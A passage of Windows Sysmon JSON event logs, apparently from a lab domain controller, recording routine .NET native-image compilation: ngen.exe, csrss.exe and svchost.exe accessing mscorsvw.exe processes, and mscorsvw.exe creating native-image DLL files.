C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:55.838","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B3-5F2D-0000-00103B460C00}","TargetProcessId":"4740","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7175,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:56.150\r\nProcessGuid: {90617006-42B3-5F2D-0000-00103B460C00}\r\nProcessId: 4740\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1284-0\\Microsoft.VisualBasic.Compatibility.Data.dll\r\nCreationUtcTime: 2020-08-07 12:01:56.150","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:56.150","ProcessGuid":"{90617006-42B3-5F2D-0000-00103B460C00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1284-0\\Microsoft.VisualBasic.Compatibility.Data.dll","CreationUtcTime":"2020-08-07 12:01:56.150","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7176,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.197\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-00100F4C0C00}\r\nTargetProcessId: 4204\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.197","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-00100F4C0C00}","TargetProcessId":"4204","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7177,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.197\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-00100F4C0C00}\r\nTargetProcessId: 4204\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.197","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-00100F4C0C00}","TargetProcessId":"4204","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7178,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.213\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-00100F4C0C00}\r\nTargetProcessId: 4204\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.213","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-00100F4C0C00}","TargetProcessId":"4204","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7179,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.229\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-001069540B00}\r\nTargetProcessId: 4304\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.229","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-001069540B00}","TargetProcessId":"4304","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7180,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.229\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42A7-5F2D-0000-001069540B00}\r\nTargetProcessId: 4304\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.229","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42A7-5F2D-0000-001069540B00}","TargetProcessId":"4304","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7181,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.244\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010E94E0C00}\r\nTargetProcessId: 4304\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:56.244","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B4-5F2D-0000-0010E94E0C00}","TargetProcessId":"4304","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7182,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:56.260\r\nProcessGuid: {90617006-42B4-5F2D-0000-0010E94E0C00}\r\nProcessId: 4304\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\10d0-0\\Microsoft.VisualC.dll\r\nCreationUtcTime: 2020-08-07 12:01:56.260","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:56.260","ProcessGuid":"{90617006-42B4-5F2D-0000-0010E94E0C00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\10d0-0\\Microsoft.VisualC.dll","CreationUtcTime":"2020-08-07 12:01:56.260","EventReceivedTime":"2020-08-07 12:01:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7183,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:56.308\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B4-5F2D-0000-0010F7510C00}\r\nTargetProcessId: 3468\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsv